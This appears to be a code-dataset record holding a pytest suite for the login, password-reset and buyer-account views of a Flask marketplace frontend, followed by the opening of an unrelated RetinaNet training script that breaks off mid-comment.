| 0
| 1
| 1
| 0
|
0
| 8
|
0e54ee24dc9ba1a48143da3824634e31aa5ad165
| 41,209
|
py
|
Python
|
tests/app/views/test_login.py
|
robot2051/dto-digitalmarketplace-buyer-frontend
|
cbb71123cb35ea8dc66b17ab4036d78269540b23
|
[
"MIT"
] | null | null | null |
tests/app/views/test_login.py
|
robot2051/dto-digitalmarketplace-buyer-frontend
|
cbb71123cb35ea8dc66b17ab4036d78269540b23
|
[
"MIT"
] | null | null | null |
tests/app/views/test_login.py
|
robot2051/dto-digitalmarketplace-buyer-frontend
|
cbb71123cb35ea8dc66b17ab4036d78269540b23
|
[
"MIT"
] | null | null | null |
# coding: utf-8
from __future__ import unicode_literals
from app.api_client.error import HTTPError
from app.helpers.login_helpers import generate_buyer_creation_token
from dmapiclient.audit import AuditTypes
from dmutils.email import generate_token, EmailError
from dmutils.forms import FakeCsrf
from ...helpers import BaseApplicationTest
from lxml import html
import mock
import pytest
from flask import session
EMAIL_SENT_MESSAGE = "send a link"
USER_CREATION_EMAIL_ERROR = "Failed to send user creation email."
PASSWORD_RESET_EMAIL_ERROR = "Failed to send password reset."
TOKEN_CREATED_BEFORE_PASSWORD_LAST_CHANGED_ERROR = "This password reset link is invalid."
USER_LINK_EXPIRED_ERROR = "The link you used to create an account may have expired."
def has_validation_errors(data, field_name):
document = html.fromstring(data)
form_field = document.xpath('//input[@name="{}"]'.format(field_name))
return 'invalid' in form_field[0].classes or 'invalid' in form_field[0].getparent().classes
class TestLogin(BaseApplicationTest):
def setup(self):
super(TestLogin, self).setup()
data_api_client_config = {'authenticate_user.return_value': self.user(
123, "email@email.com", 1234, 'name', 'name'
)}
self._data_api_client = mock.patch(
'app.main.views.login.data_api_client', **data_api_client_config
)
self.data_api_client_mock = self._data_api_client.start()
def teardown(self):
self._data_api_client.stop()
def test_should_show_login_page(self):
res = self.client.get(self.expand_path('/login'))
assert res.status_code == 200
assert 'private' in res.headers['Cache-Control']
assert "Log in to the Marketplace" in res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
def test_redirect_on_buyer_login(self, data_api_client):
with self.app.app_context():
data_api_client.authenticate_user.return_value = self.user(123, "email@email.com", None, None, 'Name')
res = self.client.post(self.url_for('main.process_login'), data={
'email_address': 'valid@email.com',
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
assert res.status_code == 302
assert res.location == self.url_for('buyers.buyer_dashboard', _external=True)
assert 'Secure;' in res.headers['Set-Cookie']
@mock.patch('app.main.views.login.data_api_client')
def test_redirect_on_supplier_login(self, data_api_client):
with self.app.app_context():
data_api_client.authenticate_user.return_value = self.user(
123,
'email@email.com',
None,
None,
'Name',
role='supplier'
)
res = self.client.post(self.url_for('main.process_login'), data={
'email_address': 'valid@email.com',
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
assert res.status_code == 302
assert res.location == 'http://localhost' + self.expand_path('/digital-service-professionals/opportunities')
assert 'Secure;' in res.headers['Set-Cookie']
def test_should_redirect_logged_in_buyer(self):
self.login_as_buyer()
res = self.client.get(self.url_for('main.render_login'))
assert res.status_code == 302
assert res.location == self.url_for('buyers.buyer_dashboard', _external=True)
def test_should_strip_whitespace_surrounding_login_email_address_field(self):
self.client.post(self.expand_path('/login'), data={
'email_address': ' valid@email.com ',
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
self.data_api_client_mock.authenticate_user.assert_called_with('valid@email.com', '1234567890')
def test_should_not_strip_whitespace_surrounding_login_password_field(self):
self.client.post(self.expand_path('/login'), data={
'email_address': 'valid@email.com',
'password': ' 1234567890 ',
'csrf_token': FakeCsrf.valid_token,
})
self.data_api_client_mock.authenticate_user.assert_called_with(
'valid@email.com', ' 1234567890 ')
@mock.patch('app.main.views.login.data_api_client')
def test_ok_next_url_redirects_buyer_on_login(self, data_api_client):
with self.app.app_context():
data_api_client.authenticate_user.return_value = self.user(123, "email@email.com", None, None, 'Name')
data = {
'email_address': 'valid@email.com',
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
}
res = self.client.post(self.expand_path('/login?next={}'.format(self.expand_path('/bar-foo'))), data=data)
assert res.status_code == 302
assert res.location == 'http://localhost' + self.expand_path('/bar-foo')
@mock.patch('app.main.views.login.data_api_client')
def test_bad_next_url_redirects_user(self, data_api_client):
with self.app.app_context():
data_api_client.authenticate_user.return_value = self.user(123, "email@email.com", None, None, 'Name')
data = {
'email_address': 'valid@email.com',
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
}
res = self.client.post(self.expand_path('/login?next=http://badness.com'), data=data)
assert res.status_code == 302
assert res.location == self.url_for('buyers.buyer_dashboard', _external=True)
def test_should_have_cookie_on_redirect(self):
with self.app.app_context():
self.app.config['SESSION_COOKIE_DOMAIN'] = '127.0.0.1'
self.app.config['SESSION_COOKIE_SECURE'] = True
res = self.client.post(self.expand_path('/login'), data={
'email_address': 'valid@email.com',
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
cookie_value = self.get_cookie_by_name(res, 'dm_session')
assert cookie_value['dm_session'] is not None
assert cookie_value['Secure; HttpOnly; Path'] == '/'
assert cookie_value["Domain"] == "127.0.0.1"
def test_should_redirect_to_login_on_logout(self):
res = self.client.get(self.expand_path('/logout'))
assert res.status_code == 302
assert res.location == 'http://localhost' + self.expand_path('/login')
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_a_403_for_invalid_login(self, data_api_client):
data_api_client.authenticate_user.return_value = None
res = self.client.post(self.expand_path('/login'), data={
'email_address': 'valid@email.com',
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
assert self.strip_all_whitespace("Make sure you've entered the right email address and password") \
in self.strip_all_whitespace(res.get_data(as_text=True))
assert res.status_code == 403
def test_should_be_validation_error_if_no_email_or_password(self):
res = self.client.post(self.expand_path('/login'), data={})
data = res.get_data(as_text=True)
assert res.status_code == 400
assert has_validation_errors(data, 'email_address')
assert has_validation_errors(data, 'password')
def test_should_be_validation_error_if_invalid_email(self):
res = self.client.post(self.expand_path('/login'), data={
'email_address': 'invalid',
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
data = res.get_data(as_text=True)
assert res.status_code == 400
assert has_validation_errors(data, 'email_address')
assert not has_validation_errors(data, 'password')
def test_valid_email_formats(self):
cases = [
'good@example.com',
'good-email@example.com',
'good-email+plus@example.com',
'good@subdomain.example.com',
'good@hyphenated-subdomain.example.com',
]
for address in cases:
res = self.client.post(self.expand_path('/login'), data={
'email_address': address,
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
data = res.get_data(as_text=True)
assert res.status_code == 302, address
def test_invalid_email_formats(self):
cases = [
'',
'bad',
'bad@@example.com',
'bad @example.com',
'bad@.com',
'bad.example.com',
'@',
'@example.com',
'bad@',
'bad@example.com,bad2@example.com',
'bad@example.com bad2@example.com',
'bad@example.com,other.example.com',
]
for address in cases:
res = self.client.post(self.expand_path('/login'), data={
'email_address': address,
'password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
data = res.get_data(as_text=True)
assert res.status_code == 400, address
assert has_validation_errors(data, 'email_address'), address
class TestResetPassword(BaseApplicationTest):
_user = None
def setup(self):
super(TestResetPassword, self).setup()
data_api_client_config = {'get_user.return_value': self.user(
123, "email@email.com", 1234, 'name', 'Name'
)}
self._user = {
"user": 123,
"email": 'email@email.com',
}
self._data_api_client = mock.patch(
'app.main.views.login.data_api_client', **data_api_client_config
)
self.data_api_client_mock = self._data_api_client.start()
def teardown(self):
self._data_api_client.stop()
def test_email_should_not_be_empty(self):
res = self.client.post(self.expand_path('/reset-password'), data={'csrf_token': FakeCsrf.valid_token})
data = res.get_data(as_text=True)
assert res.status_code == 400
assert has_validation_errors(data, 'email_address')
def test_email_should_be_valid(self):
res = self.client.post(self.expand_path('/reset-password'), data={
'email_address': 'invalid',
'csrf_token': FakeCsrf.valid_token,
})
data = res.get_data(as_text=True)
assert res.status_code == 400
assert has_validation_errors(data, 'email_address')
@mock.patch('app.main.views.login.send_email')
def test_redirect_to_same_page_on_success(self, send_email):
res = self.client.post(self.expand_path('/reset-password'), data={
'email_address': 'email@email.com',
'csrf_token': FakeCsrf.valid_token,
})
assert res.status_code == 302
assert res.location == 'http://localhost' + self.expand_path('/reset-password')
@mock.patch('app.main.views.login.send_email')
def test_show_email_sent_message_on_success(self, send_email):
res = self.client.post(self.expand_path('/reset-password'), data={
'email_address': 'email@email.com',
'csrf_token': FakeCsrf.valid_token,
}, follow_redirects=True)
assert res.status_code == 200
content = self.strip_all_whitespace(res.get_data(as_text=True))
assert self.strip_all_whitespace(EMAIL_SENT_MESSAGE) in content
@mock.patch('app.main.views.login.send_email')
def test_should_strip_whitespace_surrounding_reset_password_email_address_field(self, send_email):
self.client.post(self.expand_path('/reset-password'), data={
'email_address': ' email@email.com',
'csrf_token': FakeCsrf.valid_token,
})
self.data_api_client_mock.get_user.assert_called_with(email_address='email@email.com')
def test_email_should_be_decoded_from_token(self):
with self.app.app_context():
token = generate_token(
self._user,
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
res = self.client.get(url)
assert res.status_code == 200
assert "Reset password for email@email.com" in res.get_data(as_text=True)
assert 'private' in res.headers['Cache-Control']
def test_password_should_not_be_empty(self):
with self.app.app_context():
token = generate_token(
self._user,
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
res = self.client.post(url, data={
'password': '',
'confirm_password': '',
'csrf_token': FakeCsrf.valid_token,
})
data = res.get_data(as_text=True)
assert res.status_code == 400
assert has_validation_errors(data, 'password')
assert has_validation_errors(data, 'confirm_password')
def test_password_should_be_over_ten_chars_long(self):
with self.app.app_context():
token = generate_token(
self._user,
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
res = self.client.post(url, data={
'password': '123456789',
'confirm_password': '123456789',
'csrf_token': FakeCsrf.valid_token,
})
data = res.get_data(as_text=True)
assert res.status_code == 400
assert has_validation_errors(data, 'password')
def test_password_should_be_under_51_chars_long(self):
with self.app.app_context():
token = generate_token(
self._user,
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
res = self.client.post(url, data={
'password':
'123456789012345678901234567890123456789012345678901',
'confirm_password':
'123456789012345678901234567890123456789012345678901',
'csrf_token': FakeCsrf.valid_token,
})
data = res.get_data(as_text=True)
assert res.status_code == 400
assert has_validation_errors(data, 'password')
def test_passwords_should_match(self):
with self.app.app_context():
token = generate_token(
self._user,
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
res = self.client.post(url, data={
'password': '1234567890',
'confirm_password': '0123456789',
'csrf_token': FakeCsrf.valid_token,
})
assert res.status_code == 400
assert not has_validation_errors(res.get_data(as_text=True), 'password')
assert has_validation_errors(res.get_data(as_text=True), 'confirm_password')
def test_redirect_to_login_page_on_success(self):
with self.app.app_context():
token = generate_token(
self._user,
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
res = self.client.post(url, data={
'password': '1234567890',
'confirm_password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
})
assert res.status_code == 302
assert res.location == 'http://localhost' + self.expand_path('/login')
def test_should_not_strip_whitespace_surrounding_reset_password_password_field(self):
with self.app.app_context():
token = generate_token(
self._user,
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
res = self.client.post(url, data={
'password': ' 1234567890',
'confirm_password': ' 1234567890',
'csrf_token': FakeCsrf.valid_token,
})
assert res.status_code == 302
self.data_api_client_mock.update_user_password.assert_called_with(
self._user.get('user'), ' 1234567890', self._user.get('email'))
@mock.patch('app.main.views.login.data_api_client')
def test_token_created_before_last_updated_password_cannot_be_used(
self, data_api_client
):
with self.app.app_context():
data_api_client.get_user.return_value = self.user(
123, "email@email.com", 1234, 'email', 'Name', is_token_valid=False
)
token = generate_token(
self._user,
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
res = self.client.post(url, data={
'password': '1234567890',
'confirm_password': '1234567890',
'csrf_token': FakeCsrf.valid_token,
}, follow_redirects=True)
assert res.status_code == 200
assert TOKEN_CREATED_BEFORE_PASSWORD_LAST_CHANGED_ERROR in res.get_data(as_text=True)
@mock.patch('app.main.views.login.send_email')
def test_should_call_send_email_with_correct_params(
self, send_email
):
with self.app.app_context():
self.app.config['DM_MANDRILL_API_KEY'] = "API KEY"
self.app.config['RESET_PASSWORD_EMAIL_SUBJECT'] = "SUBJECT"
self.app.config['RESET_PASSWORD_EMAIL_FROM'] = "EMAIL FROM"
self.app.config['RESET_PASSWORD_EMAIL_NAME'] = "EMAIL NAME"
res = self.client.post(
self.expand_path('/reset-password'),
data={
'email_address': 'email@email.com',
'csrf_token': FakeCsrf.valid_token,
}
)
assert res.status_code == 302
send_email.assert_called_once_with(
"email@email.com",
mock.ANY,
"SUBJECT",
"EMAIL FROM",
"EMAIL NAME",
)
@mock.patch('app.main.views.login.send_email')
def test_should_be_an_error_if_send_email_fails(
self, send_email
):
with self.app.app_context():
send_email.side_effect = EmailError('API is down')
res = self.client.post(
self.expand_path('/reset-password'),
data={
'email_address': 'email@email.com',
'csrf_token': FakeCsrf.valid_token,
}
)
assert res.status_code == 503
assert PASSWORD_RESET_EMAIL_ERROR in res.get_data(as_text=True)
class TestLoginFormsNotAutofillable(BaseApplicationTest):
def _forms_and_inputs_not_autofillable(self, url, expected_title):
response = self.client.get(url)
assert response.status_code == 200
document = html.fromstring(response.get_data(as_text=True))
page_title = document.xpath('//h1/text()')[0].strip()
assert expected_title == page_title
forms = document.xpath('//main[@id="content"]//form')
for form in forms:
assert form.get('autocomplete') == "off"
non_hidden_inputs = form.xpath('//input[@type!="hidden"]')
for input in non_hidden_inputs:
if input.get('type') != 'submit':
assert input.get('autocomplete') == "off"
def test_login_form_and_inputs_not_autofillable(self):
self._forms_and_inputs_not_autofillable(
self.expand_path('/login'),
"Log in to the Marketplace"
)
def test_request_password_reset_form_and_inputs_not_autofillable(self):
self._forms_and_inputs_not_autofillable(
self.expand_path('/reset-password'),
"Reset password"
)
@mock.patch('app.main.views.login.data_api_client')
def test_reset_password_form_and_inputs_not_autofillable(
self, data_api_client
):
data_api_client.get_user.return_value = self.user(
123, "email@email.com", 1234, 'email', 'name'
)
with self.app.app_context():
token = generate_token(
{
"user": 123,
"email": 'email@email.com',
},
self.app.config['SECRET_KEY'],
self.app.config['RESET_PASSWORD_SALT'])
url = self.expand_path('/reset-password/{}').format(token)
self._forms_and_inputs_not_autofillable(
url,
"Reset password",
)
class TestBuyerSignupForm(BaseApplicationTest):
complete_signup_request = {
'csrf_token': FakeCsrf.valid_token,
'employment_status': 'employee',
'name': 'Me',
'email_address': 'me@test.gov.au',
}
def test_form_loads(self):
res = self.client.get(self.url_for('main.buyer_signup'))
assert res.status_code == 200
data = res.get_data(as_text=True)
assert '<form' in data
def post_form(self, **kwargs):
data = dict(self.complete_signup_request)
data.update(**kwargs)
return self.client.post(self.url_for('main.submit_buyer_signup'), data=data)
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.helpers.login_helpers.send_email')
def test_should_be_able_to_submit_valid_employee_request(self, send_email, data_api_client):
res = self.post_form(employment_status='employee')
assert res.status_code == 200
data = res.get_data(as_text=True)
assert 'Email Sent' in data
assert send_email.call_count == 1
@mock.patch('app.main.views.login.data_api_client')
def test_should_be_able_to_submit_valid_contractor_request(self, data_api_client):
res = self.post_form(employment_status='contractor')
assert res.status_code == 200
data = res.get_data(as_text=True)
assert 'Authorisation' in data
assert '<form' in data
@mock.patch('app.main.views.login.data_api_client')
def test_invalid_employment_status(self, data_api_client):
res = self.post_form(employment_status='nope')
assert res.status_code == 400
@mock.patch('app.main.views.login.data_api_client')
def test_missing_csrf_token(self, data_api_client):
res = self.post_form(csrf_token=None)
assert res.status_code == 400
data = res.get_data(as_text=True)
assert 'token' in data
@mock.patch('app.main.views.login.data_api_client')
def test_missing_email_address(self, data_api_client):
res = self.post_form(email_address=None)
assert res.status_code == 400
data = res.get_data(as_text=True)
assert has_validation_errors(data, 'email_address')
@mock.patch('app.main.views.login.data_api_client')
def test_missing_name(self, data_api_client):
res = self.post_form(name=None)
assert res.status_code == 400
data = res.get_data(as_text=True)
assert has_validation_errors(data, 'name')
class TestSendBuyerInvite(BaseApplicationTest):
def generate_token(self):
with self.app.app_context():
return generate_buyer_creation_token('test', 'test@example.gov.au')
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.helpers.login_helpers.send_email')
def test_send_buyer_invite(self, send_email, data_api_client):
token = self.generate_token()
res = self.client.get(self.url_for('main.send_buyer_invite', token=token))
assert res.status_code == 200
assert send_email.call_count == 1
assert 'sent' in res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.helpers.login_helpers.send_email')
def test_send_buyer_invite(self, send_email, data_api_client):
res = self.client.get(self.url_for('main.send_buyer_invite', token='invalid'))
assert res.status_code == 404
assert send_email.call_count == 0
class TestBuyerInviteRequest(BaseApplicationTest):
complete_invite_request = {
'csrf_token': FakeCsrf.valid_token,
'employment_status': 'contractor',
'name': 'Me',
'email_address': 'me@test.gov.au',
'manager_name': 'My Manager',
'manager_email': 'manager@test.gov.au',
}
def post_form(self, **kwargs):
data = dict(self.complete_invite_request)
data.update(**kwargs)
return self.client.post(self.url_for('main.submit_buyer_invite_request'), data=data)
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.main.views.login.send_email')
def test_should_be_able_to_submit_valid_request(self, send_email, data_api_client):
res = self.post_form()
assert res.status_code == 200
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.main.views.login.send_email')
def test_require_name(self, send_email, data_api_client):
res = self.post_form(name='')
assert res.status_code == 400
data = res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.main.views.login.send_email')
def test_require_valid_employment_status(self, send_email, data_api_client):
res = self.post_form(employment_status='nope')
assert res.status_code == 400
data = res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.main.views.login.send_email')
def test_require_valid_email_address(self, send_email, data_api_client):
res = self.post_form(email_address='@@@')
assert res.status_code == 400
data = res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.main.views.login.send_email')
def test_require_manager_name(self, send_email, data_api_client):
res = self.post_form(manager_name='')
assert res.status_code == 400
data = res.get_data(as_text=True)
assert has_validation_errors(data, 'manager_name')
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.main.views.login.send_email')
def test_require_valid_manager_email_address(self, send_email, data_api_client):
res = self.post_form(manager_email='@@@')
assert res.status_code == 400
data = res.get_data(as_text=True)
assert has_validation_errors(data, 'manager_email')
@mock.patch('app.main.views.login.data_api_client')
@mock.patch('app.main.views.login.send_email')
def test_should_503_if_email_fails_to_send(self, send_email, data_api_client):
send_email.side_effect = EmailError("Arrrgh")
res = self.post_form()
assert res.status_code == 503
class TestCreateBuyer(BaseApplicationTest):
def _generate_token(self, email_address='test@example.gov.au', name='Test Name'):
with self.app.app_context():
return generate_buyer_creation_token(name, email_address)
def test_should_be_an_error_for_invalid_token(self):
token = "1234"
res = self.client.get(
self.url_for('main.create_buyer_account', token=token)
)
assert res.status_code == 404
@mock.patch('app.main.views.login.data_api_client')
def test_should_be_an_error_for_invalid_token_contents(self, data_api_client):
token = generate_token(
{
'this_is_not_expected': 1234
},
self.app.config['SHARED_EMAIL_KEY'],
self.app.config['INVITE_EMAIL_SALT']
)
res = self.client.get(
self.url_for('main.create_buyer_account', token=token)
)
assert res.status_code == 404
assert data_api_client.get_user.called is False
def test_should_be_an_error_if_invalid_token_on_submit(self):
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token='invalidtoken'),
data={
'password': '123456789',
'name': 'name',
'email_address': 'valid@example.gov.au'
}
)
assert res.status_code == 400
assert USER_LINK_EXPIRED_ERROR in res.get_data(as_text=True)
assert '<input type="submit"' not in res.get_data(as_text=True)
def test_should_be_an_error_if_missing_name_and_password(self):
token = self._generate_token()
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token=token),
data={}
)
assert res.status_code == 400
assert has_validation_errors(res.get_data(as_text=True), 'name')
assert has_validation_errors(res.get_data(as_text=True), 'password')
assert has_validation_errors(res.get_data(as_text=True), 'accept')
def test_should_be_an_error_if_too_short_name_and_password(self):
token = self._generate_token()
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token=token),
data={
'password': "123456789",
'name': ""
}
)
assert res.status_code == 400
assert has_validation_errors(res.get_data(as_text=True), 'name')
assert has_validation_errors(res.get_data(as_text=True), 'password')
assert has_validation_errors(res.get_data(as_text=True), 'accept')
def test_should_be_an_error_if_too_long_name_and_password(self):
with self.app.app_context():
token = self._generate_token()
twofiftysix = "a" * 256
fiftyone = "a" * 51
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token=token),
data={
'password': fiftyone,
'name': twofiftysix
}
)
assert res.status_code == 400
for message in ['Create account', 'test@example.gov.au']:
assert message in res.get_data(as_text=True)
assert has_validation_errors(res.get_data(as_text=True), 'name')
assert has_validation_errors(res.get_data(as_text=True), 'password')
assert has_validation_errors(res.get_data(as_text=True), 'accept')
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_an_error_if_user_exists_and_is_a_buyer(self, data_api_client):
data_api_client.get_user.return_value = self.user(123, 'test@email.com', None, None, 'Users name')
token = self._generate_token()
res = self.client.get(
self.url_for('main.create_buyer_account', token=token),
)
assert res.status_code == 400
assert "Account already exists" in res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_an_error_with_admin_message_if_user_is_an_admin(self, data_api_client):
data_api_client.get_user.return_value = self.user(123, 'test@email.com', None, None, 'Users name', role='admin')
token = self._generate_token()
res = self.client.get(
self.url_for('main.create_buyer_account', token=token),
)
assert res.status_code == 400
assert "Account already exists" in res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_an_error_with_locked_message_if_user_is_locked(self, data_api_client):
data_api_client.get_user.return_value = self.user(
123,
'test@email.com',
None,
None,
'Users name',
locked=True
)
token = self._generate_token()
res = self.client.get(
self.url_for('main.create_buyer_account', token=token),
)
assert res.status_code == 400
assert "account is locked" in res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_an_error_with_inactive_message_if_user_is_not_active(self, data_api_client):
data_api_client.get_user.return_value = self.user(
123,
'test@email.com',
None,
None,
'Users name',
active=False
)
token = self._generate_token()
res = self.client.get(
self.url_for('main.create_buyer_account', token=token),
)
assert res.status_code == 400
assert "Your account has been deactivated" in res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_an_error_if_user_is_already_registered(self, data_api_client):
data_api_client.get_user.return_value = self.user(
123,
'test@email.com',
None,
None,
'Users name'
)
token = self._generate_token()
res = self.client.get(
self.url_for('main.create_buyer_account', token=token),
follow_redirects=True
)
assert res.status_code == 400
assert "Account already exists" in res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_an_error_if_already_registered_as_a_supplier(self, data_api_client):
self.login_as_supplier()
data_api_client.get_user.return_value = self.user(
999,
'test@email.com',
1234,
'Supplier',
'Different users name'
)
token = self._generate_token()
res = self.client.get(
self.url_for('main.create_buyer_account', token=token),
)
assert res.status_code == 400
assert "Your email address is already registered as an account with ‘Supplier’." in res.get_data(as_text=True)
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_an_error_if_user_is_already_logged_in(self, data_api_client):
self.login_as_supplier()
data_api_client.get_user.return_value = self.user(
123,
'email@email.com',
None,
None,
'Users name'
)
token = self._generate_token()
res = self.client.get(
self.url_for('main.create_buyer_account', token=token),
)
assert res.status_code == 400
assert "Account already exists" in res.get_data(as_text=True)
assert 'private' in res.headers['Cache-Control']
@mock.patch('app.main.views.login.data_api_client')
def test_should_create_user_if_user_does_not_exist(self, data_api_client):
data_api_client.get_user.return_value = None
token = self._generate_token()
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token=token),
data={
'password': 'validpassword',
'name': 'valid name',
'accept': 'on',
'csrf_token': FakeCsrf.valid_token,
}
)
assert res.status_code == 302
assert res.location == 'http://localhost' + self.expand_path('/')
data_api_client.create_user.assert_called_once_with({
'role': 'buyer',
'password': 'validpassword',
'emailAddress': 'test@example.gov.au',
'name': 'valid name'
})
@mock.patch('app.main.views.login.data_api_client')
def test_should_return_an_error_if_user_exists(self, data_api_client):
data_api_client.create_user.side_effect = HTTPError(mock.Mock(status_code=409))
token = self._generate_token()
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token=token),
data={
'password': 'validpassword',
'name': 'valid name',
'accept': 'on',
'csrf_token': FakeCsrf.valid_token,
}
)
assert res.status_code == 400
data_api_client.create_user.assert_called_once_with({
'role': 'buyer',
'password': 'validpassword',
'emailAddress': 'test@example.gov.au',
'name': 'valid name'
})
@mock.patch('app.main.views.login.data_api_client')
def test_should_strip_whitespace_surrounding_create_user_name_field(self, data_api_client):
data_api_client.get_user.return_value = None
token = self._generate_token()
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token=token),
data={
'password': 'validpassword',
'name': ' valid name ',
'accept': 'on',
'csrf_token': FakeCsrf.valid_token,
}
)
assert res.status_code == 302
data_api_client.create_user.assert_called_once_with({
'role': 'buyer',
'password': 'validpassword',
'emailAddress': 'test@example.gov.au',
'name': 'valid name'
})
@mock.patch('app.main.views.login.data_api_client')
def test_should_not_strip_whitespace_surrounding_create_user_password_field(self, data_api_client):
data_api_client.get_user.return_value = None
token = self._generate_token()
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token=token),
data={
'password': ' validpassword ',
'name': 'valid name ',
'accept': 'on',
'csrf_token': FakeCsrf.valid_token,
}
)
assert res.status_code == 302
data_api_client.create_user.assert_called_once_with({
'role': 'buyer',
'password': ' validpassword ',
'emailAddress': 'test@example.gov.au',
'name': 'valid name',
})
@mock.patch('app.main.views.login.data_api_client')
def test_should_be_a_503_if_api_fails(self, data_api_client):
with self.app.app_context():
data_api_client.create_user.side_effect = HTTPError("bad email")
token = self._generate_token()
res = self.client.post(
self.url_for('main.submit_create_buyer_account', token=token),
data={
'password': 'validpassword',
'name': 'valid name',
'accept': 'on',
'csrf_token': FakeCsrf.valid_token,
}
)
assert res.status_code == 503
class TestBuyerRoleRequired(BaseApplicationTest):
def test_login_required_for_buyer_pages(self):
with self.app.app_context():
res = self.client.get(self.expand_path('/buyers'))
assert res.status_code == 302
assert res.location.startswith('http://localhost' + self.expand_path('/login?next=%2F'))
def test_supplier_cannot_access_buyer_pages(self):
with self.app.app_context():
self.login_as_supplier()
res = self.client.get(self.expand_path('/buyers'))
assert res.status_code == 302
assert res.location.startswith('http://localhost' + self.expand_path('/login?next=%2F'))
self.assert_flashes('buyer-role-required', expected_category='error')
@mock.patch('app.buyers.views.buyers.data_api_client')
def test_buyer_pages_ok_if_logged_in_as_buyer(self, data_api_client):
with self.app.app_context():
self.login_as_buyer()
res = self.client.get(self.expand_path('/buyers'))
page_text = res.get_data(as_text=True)
assert res.status_code == 200
assert 'private' in res.headers['Cache-Control']
assert 'buyer@email.com' in page_text
assert 'Some Buyer' in page_text
| 38.730263
| 120
| 0.619937
| 5,014
| 41,209
| 4.784204
| 0.060431
| 0.043147
| 0.061781
| 0.0499
| 0.814157
| 0.78064
| 0.755461
| 0.727906
| 0.691221
| 0.675796
| 0
| 0.022192
| 0.265185
| 41,209
| 1,063
| 121
| 38.766698
| 0.769988
| 0.000315
| 0
| 0.620729
| 1
| 0
| 0.197941
| 0.074647
| 0
| 0
| 0
| 0
| 0.171982
| 1
| 0.091116
| false
| 0.118451
| 0.012528
| 0
| 0.121868
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
0e58e67d4649d5ef878008d9074dacf7645f53e2
| 4,768
|
py
|
Python
|
m1_resnet.py
|
VinGPan/Kaggle-HumanProtein
|
4d1abcc7f46774355644d30428ed6c73b28fd782
|
[
"Apache-2.0"
] | null | null | null |
m1_resnet.py
|
VinGPan/Kaggle-HumanProtein
|
4d1abcc7f46774355644d30428ed6c73b28fd782
|
[
"Apache-2.0"
] | null | null | null |
m1_resnet.py
|
VinGPan/Kaggle-HumanProtein
|
4d1abcc7f46774355644d30428ed6c73b28fd782
|
[
"Apache-2.0"
] | null | null | null |
from keras_retinanet.bin.train import train_main
from keras_retinanet import models
import glob
import numpy as np
from sklearn.metrics import f1_score
import os
if __name__ == '__main__':
os.chdir("../")
model_name = 'resnet101'
train_main(0, None, ["csv", "data/trn1.csv", "data/classes.csv",
"--val-annotations", "data/val1.csv"])
# model_name = 'resnet50'
# h5s = glob.glob("run1_resnet_50/*.h5")
# results = []
# best_f1 = 0
# for h5 in h5s:
# y_true, y_pred = train_main(1, h5, ["csv", "data/trn1.csv", "data/classes.csv",
# "--val-annotations", "data/val1.csv"])
# f1_max = 0
# th_max = 0
# pr_cnt_max = 0
# for th in np.linspace(0.0, 1.0, num=21):
# for pr_cnt in range(1, 7):
# y_pred_new = []
# for prd in y_pred:
